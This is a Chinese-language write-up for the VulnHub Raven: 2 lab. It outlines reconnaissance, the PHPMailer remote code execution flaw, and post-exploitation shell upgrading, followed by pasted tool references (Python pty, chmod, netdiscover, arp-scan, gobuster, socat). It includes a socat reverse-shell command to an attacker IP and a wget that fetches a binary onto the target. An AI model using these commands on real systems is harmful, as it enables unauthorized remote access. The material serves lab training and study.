VulnHub-Raven: 2渗透详细思路
VulnHub-Raven: 2渗透详细思路
nmap找目标ip地址,扫可以试用的开放端口和服务(22、80、111)
dirb进行目录的爆破扫描
找漏洞,发现PHPMailer 邮件服务
searchsploit查看漏洞利用点,下载到本地,修改参数并运行,
开启nc监听拿到shell,用python获取pty(伪终端工具)
查找flag,然后找有用信息,在配置文件中找到root账号密码
http://blog.nsfocus.net/phpmailer-vulnerability-analysis/
在PHPMailer 5.2.17以及之前版本中,存在着一个高危的任意文件写入漏洞,当攻击者将精心构造的恶意数据分别写入邮件内容以及发件人地址中并传递给使用了相应版本的PHPMailer web应用,就可以导致任意文件写入以及远程代码执行的攻击。
漏洞原理:mail函数的第五个参数,传命令参数的地方没有进行转义。由class.phpmailer.php没有正确处理用户的请求导致的
漏洞利用:漏洞利用的前提是目标站点的web应用必须使用phpmailer函数包,并开启邮件发送功能,这时攻击者可以将构造好的$address(及发送者地址)填入相应表单位置,然后将php指令填写到邮件内容中,如果web应用没有相应的过滤,则可以成功触发phpmailer,将php代码作为日志写入指定的文件中去。
rpcbind是NFS中用来进行消息通知的服务。
使攻击者在远程rpcbind绑定主机上分配任意大小的内存(每次攻击最高可达4GB),除非进程崩溃,或者管理员挂起/重启rpcbind服务,否则该内存不会被释放。
tty 模块定义了以下函数:
tty.setraw
(fd, when=termios.TCSAFLUSH)
将文件描述符 fd 的模式更改为 raw 。如果 when 被省略,则默认为 termios.TCSAFLUSH
,并传递给 termios.tcsetattr()
。
tty.setcbreak
(fd, when=termios.TCSAFLUSH)
将文件描述符 fd 的模式更改为 cbreak 。如果 when 被省略,则默认为 termios.TCSAFLUSH
,并传递给 termios.tcsetattr()
。
pty
模块定义了一些处理“伪终端”概念的操作:启动另一个进程并能以程序方式在其控制终端中进行读写。
由于伪终端处理高度依赖于具体平台,因此此功能只有针对 Linux 的代码。 (Linux 代码也可在其他平台上工作,但是未经测试。)
pty
模块定义了下列函数:
pty.fork
()
分叉。 将子进程的控制终端连接到一个伪终端。 返回值为 (pid, fd)
。 请注意子进程获得 pid 0 而 fd 为 invalid。 父进程返回值为子进程的 pid 而 fd 为一个连接到子进程的控制终端(并同时连接到子进程的标准输入和输出)的文件描述符。
pty.openpty
()
打开一个新的伪终端对,如果可能将使用 os.openpty()
,或是针对通用 Unix 系统的模拟代码。 返回一个文件描述符对 (master, slave)
,分别表示主从两端。
pty.spawn(argv[, master_read[, stdin_read]])
生成一个进程,并将其控制终端连接到当前进程的标准 io。 这常被用来应对坚持要从控制终端读取数据的程序。 在 pty 背后生成的进程预期最后将被终止,而且当它被终止时 spawn 将会返回。 会向 master_read 和 stdin_read 函数传入一个文件描述符供它们读取,并且它们总是应当返回一个字节串。 为了强制 spawn 在子进程退出之前返回所以应当抛出 OSError
。 两个函数的默认实现在每次函数被调用时将读取并返回至多 1024 个字节。 会向 master_read 回调传入伪终端的主文件描述符以从子进程读取输出,而向 stdin_read 传入文件描述符 0 以从父进程的标准输入读取数据。 从两个回调返回空字节串会被解读为文件结束 (EOF) 条件,在此之后回调将不再被调用。 如果 stdin_read 发出 EOF 信号则控制终端就不能再与父进程或子进程进行通信。 除非子进程将不带任何输入就退出,否则随后 spawn 将一直循环下去。 如果 master_read 发出 EOF 信号则会有相同的行为结果(至少是在 Linux 上)。 如果两个回调都发出 EOF 信号则 spawn 可能将永不返回,除非在你的平台上当传入三个空列表时 select 会抛出一个错误。 这是一个程序缺陷,相关文档见 问题 26228。 从子进程中的 os.waitpid()
返回退出状态值。 可以使用 waitstatus_to_exitcode()
来将退出状态转换为退出码。 引发一个 审计事件 pty.spawn
,附带参数 argv
。 在 3.4 版更改: spawn()
现在会从子进程的 os.waitpid()
返回状态值。
获取pty的常见方法命令
对方机器上有 python
python -c 'import pty; pty.spawn("/bin/bash")'
利用nc
$ python -c 'import pty; pty.spawn("/bin/bash")' //启用python交互式
# 把它丢到后台挂起
$ ctrl + z
# 重置stty,也就意味着你看不到输入的内容
$ stty raw -echo
# 把后台挂起的程序调回前台
$ fg
# 完全刷新终端屏幕
$ reset
# 接下来设置环境变量,根据第一步得到的环境变量来设置
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows 行数 columns 列数
利用socat
攻击机
# 首先安装
$ sudo apt install socat
# 执行
$ socat file:`tty`,raw,echo=0 tcp-listen:4444
目标机
# 把socat上传到目标机器上或者直接下载
$ wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat
# 运行
$ chmod +x /tmp/socat
$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.81.160:4444
利用script
我们可以使用 Linux 系统下的 script 命令,在弹回来的 shell 下创建一个带有 tty 的 shell, 这样就可以勉强使用一下 top 和 vim :$ script /dev/null
如果不加 /dev/null 的话,会在当前路径下生成一个名字是 typescript 的文件,记录着在 script 生命周期里你执行的所有命令和结果。
命令:chmod 权限标识 file
经常使用到的提权命令还有chmod +x file
和chmod u+x file
,同样后面的权限也可以用数字标识,比如chmod +755 file,这种命令行表示给对应的用户或者用户组赋予权限
注:u(user)代表用户、g(group)代表用户组、o(others)代表其他人、a(all)代表所有人
八进制语法
chmod命令可以使用八进制数来指定权限。文件或目录的权限位是由9个权限位来控制,每三位为一组,它们分别是文件所有者(User)的读、写、执行,用户组(Group)的读、写、执行以及其它用户(Other)的读、写、执行。历史上,文件权限被放在一个比特掩码中,掩码中指定的比特位设为1,用来说明一个类具有相应的优先级。
# | 权限 | rwx | 二进制 |
---|---|---|---|
7 | 读 + 写 + 执行 | rwx | 111 |
6 | 读 + 写 | rw- | 110 |
5 | 读 + 执行 | r-x | 101 |
4 | 只读 | r– | 100 |
3 | 写 + 执行 | -wx | 011 |
2 | 只写 | -w- | 010 |
1 | 只执行 | –x | 001 |
0 | 无 | — | 000 |
例如, 765 将这样解释:
所有者的权限用数字表达:属主的那三个权限位的数字加起来的总和。如 rwx ,也就是 4+2+1 ,应该是 7。
用户组的权限用数字表达:属组的那个权限位数字的相加的总和。如 rw- ,也就是 4+2+0 ,应该是 6。
其它用户的权限数字表达:其它用户权限位的数字相加的总和。如 r-x ,也就是 4+0+1 ,应该是 5。
ARP是将IP地址转化物理地址的网络协议。
通过该协议,可以判断某个IP地址是否被使用,从而发现网络中存活的主机。
参数 | 意义 |
---|---|
-i | 网卡 选择你监控的网卡。比如eth0 |
-r | range 指定IP段。比如192.168.0.0/24 |
-l | filename 从文件读取range列表 |
-p | 被动模式。默默的侦听指定的网卡以发现别的二层主机 |
-t | ARP包发送间隔。单位毫秒。这个可以用来规避检测系统的告警。 |
-c | 发包数量 |
netdiscover -i eth0 -r 192.168.43.0/24 主动发现:-i指定所要侦听的网卡,-r指定ip段。
netdiscover -p 被动发现
arp-scan是Kali Linux自带的一款ARP扫描工具。该工具可以进行单一目标扫描,也可以进行批量扫描。批量扫描的时候,用户可以通过CIDR地址范围或者列表文件的方式指定。该工具允许用户定制ARP包,构建非标准数据包。同时,该工具会自动解析Mac地址,给出MAC对应的硬件厂商,帮助用户确认目标。
CIDR:无类别域间路由,是一个用于给用户分配IP地址以及在互联网上有效地路由IP数据包的对IP地址进行归类的方法。
ARP:地址解析协议(Address Resolution Protocol),其基本功能为透过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的顺利进行。它是IPv4中网络层必不可少的协议,是根据IP地址获得物理地址MAC的一个TCP/IP协议。通过ARP,在局域网可以很容易构成一个ARP欺骗,从而得到有用数据信息。
指令介绍
参数名 | 参数含义 | 使用示例 |
---|---|---|
-f | 从指定文件中读取主机名或地址 | arp-scan -f ip.txt |
-l | 从网络接口配置生成地址 | arp-scan -l |
-i | 各扫描之间的时间差 | arp-scan -l -i 1000 |
-r | 每个主机扫描次数 | arp-scan -l -r 5 |
-V | 显示程序版本并退出 | arp-scan -l -V |
-t | 设置主机超时时间 | arp-scan -t 1000 192.168.75.0/24 |
-L | 使用网络接口 | arp-scan -L eth0 |
-g | 不显示重复的数据 | arp-scan -l -g |
-D | 显示数据包往返时间 | arp-scan -l -D |
轻量级扫描工具,用来扫描局域网的主机还是挺好用的,由于扫描的少,所以扫描速度比较快,可以很快的查看到局域网有哪些主机和对应的MAC地址,配合nmap一起使用有奇效
常用命令行选项
-fw - 使用通配符结果强制处理域。
-np - 隐藏进度输出。
-m - 使用哪种模式,dir或者dns(默认:) dir。
-q - 禁用横幅/下划线输出。
-t - 要运行的线程数(默认值:) 10。
-u - 完整URL(包括方案)或基本域名。
-v - 详细输出(显示所有结果)。
-w - 用于暴力强制的wordlist的路径(-用于stdin)。
dns模式的命令行选项
-cn - 显示CNAME记录(不能与'-i'选项一起使用)。
-i - 显示结果的所有IP地址。
dir模式的命令行选项
-a - 指定要在请求标头中发送的用户代理字符串。
-c - 使用它来指定您可能需要的任何cookie(模拟身份验证)。
-e - 指定呈现完整URL的扩展模式。
-f- 附加/目录暴力。
-k - 跳过SSL证书的验证。
-l - 显示响应的长度。
-n - “无状态”模式,禁用结果状态代码的输出。
-o - 指定要将输出写入的文件名。
-p - 指定用于所有请求的代理(方案与URL方案非常匹配)。
-r - 按照重定向。
-s - 逗号分隔的状态代码列表集合被视为“正面”(默认值:) 200,204,301,302,307。
-x - 要检查的扩展名列表(如果有)。
-P - HTTP授权密码(仅限基本身份验证,如果缺少则提示)。
-U - HTTP授权用户名(仅限基本身份验证)。
-to - HTTP超时。示例:10s,100ms,1m(默认值:10s)。
建造
由于此工具是用Go编写的,因此您需要安装Go语言/编译器/等。有关安装和设置的完整详细信息,请访问Go语言网站。安装后,您有两个选择。
编译
gobuster 现在有外部依赖,所以他们需要先被拉入:
gobuster $ go get && go build
这将为您创建gobuster二进制文件。如果要将其安装在$GOPATH/bin可以运行的文件夹中:
gobuster $ go install
如果您已经拥有所有依赖项,则可以使用构建脚本:
make- 为当前Go配置构建(即运行go build)。
make windows- 为Windows构建32位和64位二进制文件,并将它们写入build子文件夹。
make linux- 为linux构建32位和64位二进制文件,并将它们写入build子文件夹。
make darwin- 为darwin构建32位和64位二进制文件,并将它们写入build子文件夹。
make all- 为所有平台和体系结构构建,并将生成的二进制文件写入build子文件夹。
make clean- 清除build子文件夹。
make test - 运行测试。
作为脚本运行
gobuster $ go run main.go
通过STDIN进行单词列表
生词能够管道输送到gobuster通过stdin通过提供-到-w选项:
hashcat -a 3 --stdout ?l | gobuster -u https://mysite.com -w -
注意:如果-w选项与STDIN的管道同时指定,则会显示错误,程序将终止。
https://zhuanlan.zhihu.com/p/347722248
netcat加强版,可以传递完整的带有tty的TCP连接,但只能在linux下面运行
基本命令:
socat [参数] <地址1> <地址2>
常用方法:
# 端口转发
#socat -d -d -lf /var/log/socat.log TCP4-LISTEN:6666,bind=127.0.0.1,reuseaddr,fork TCP:127.0.0.1:3306
#mysql -uroot -h127.0.0.1 -P6666 -p
#不使用group则默认当前用户
socat -T 2 -u - CREATE:./james,group=test,perm=0640
socat -t 2 -u - CREATE:./james,perm=0640
socat - /tmp/jamestest
socat - GOPEN:./james
socat - OPEN:./james
socat - EXEC:ls
-k 输入在收集信息的过程中需要匹配的关键字
-e 生成的文件放在哪个目录下
-t 记录测试的过程
-s 输入密码用来检测sudo权限的信息
-r 输入报告的名称
-h 显示帮助信息